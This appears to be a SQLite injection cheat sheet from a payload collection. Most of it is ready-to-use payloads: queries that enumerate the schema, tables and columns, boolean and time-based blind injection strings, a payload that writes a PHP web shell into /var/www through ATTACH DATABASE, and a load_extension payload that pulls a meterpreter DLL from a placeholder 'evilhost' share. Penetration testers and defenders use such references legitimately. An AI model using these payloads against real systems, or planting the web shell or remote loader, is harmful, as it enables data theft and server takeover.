

SQLite Injection

Summary

1. [SQLite Injection](#)
 1. [Summary](#)
 2. [SQLite comments](#)
 3. [SQLite version](#)
 4. [String based - Extract database structure](#)
 5. [Integer/String based - Extract table name](#)
 6. [Integer/String based - Extract column name](#)
 7. [Boolean - Count number of tables](#)
 8. [Boolean - Enumerating table name](#)
 9. [Boolean - Extract info](#)
 10. [Time based](#)
 11. [Remote Command Execution using SQLite command - Attach Database](#)
 12. [Remote Command Execution using SQLite command - Load_extension](#)
 13. [References](#)

SQLite comments

```
--  
/**/
```

SQLite version

```
select sqlite_version();
```

String based - Extract database structure

```
SELECT sql FROM sqlite_schema
```

Integer/String based - Extract table name

```
SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like  
'sqlite_%'
```

Use limit X+1 offset X, to extract all tables.

Integer/String based - Extract column name

```
SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name  
='table_name'
```

For a clean output

```
SELECT
replace(replace(replace(replace(replace(replace(replace(replace(replace(subst
r((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),(')'),"TEXT"
,(')'),"INTEGER",(')'),"AUTOINCREMENT",(')'),"PRIMARY
KEY",(')'),"UNIQUE",(')'),"NUMERIC",(')'),"REAL",(')'),"BLOB",(')'),"NOT NULL",(')'),",",('~'))
FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%'
AND name ='table_name'
```

Boolean - Count number of tables

```
and (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT
like 'sqlite_%' ) < number_of_table
```

Boolean - Enumerating table name

```
and (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name not
like 'sqlite_%' limit 1 offset 0)=table_name_length_number
```

Boolean - Extract info

```
and (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and
tbl_name NOT like 'sqlite_%' limit 1 offset 0) > hex('some_char')
```

Time based

```
AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
```

Remote Command Execution using SQLite command - Attach Database

```
ATTACH DATABASE '/var/www/lol.php' AS lol;
CREATE TABLE lol.pwn (dataz text);
INSERT INTO lol.pwn (dataz) VALUES ("<?php system($_GET['cmd']); ?>");--
```

Remote Command Execution using SQLite command - Load_extension

```
UNION SELECT 1,load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');--
```

Note: By default this component is disabled

References

[Injecting SQLite database based application - Manish Kishan Tanwar](#)